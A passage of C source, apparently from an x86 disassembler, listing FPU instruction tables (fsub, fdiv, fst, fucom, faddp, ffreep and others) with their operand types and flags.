FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n};\nINST inst_table_fpu_dd[72] = {\n { INSTRUCTION_TYPE_FLD, \"fldl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISTTP,\"fisttp\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FST, \"fstl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FSTP, \"fstpl\", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, \n // XXX: operand type is not exactly right..\n { INSTRUCTION_TYPE_FPU, \"frstor\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n // XXX: operand type is not exactly right..\n { INSTRUCTION_TYPE_FPU, \"fsave\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n // XXX: operand type is not exactly right..\n { INSTRUCTION_TYPE_FPU, \"fstsw\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREE, \"ffree\", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOM, \"fucom\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMP,\"fucomp\", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n};\nINST inst_table_fpu_de[72] = {\n { INSTRUCTION_TYPE_FIADD, \"fiadd\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIMUL, \"fimul\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FICOM, \"ficom\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FICOMP,\"ficomp\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISUB, \"fisub\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISUBR,\"fisubr\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIDIV, \"fidiv\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIDIVR,\"fidivr\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADDP, \"faddp\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMULP, \"fmulp\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMPP,\"fcompp\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBRP,\"fsubrp\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBP, \"fsubp\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVRP,\"fdivrp\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVP, \"fdivp\", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n};\n\nINST inst_table_fpu_df[72] = {\n { INSTRUCTION_TYPE_FILD, \"fild\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n // fisttp: IA-32 2004\n { INSTRUCTION_TYPE_FISTTP,\"fisttp\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FIST, \"fist\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISTP, \"fistp\", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, \"fbld\", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FILD, \"fild\", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, \"fbstp\", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FISTP, \"fistp\", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, \n // ffreep undocumented!!\n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FFREEP,\"ffreep\", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, 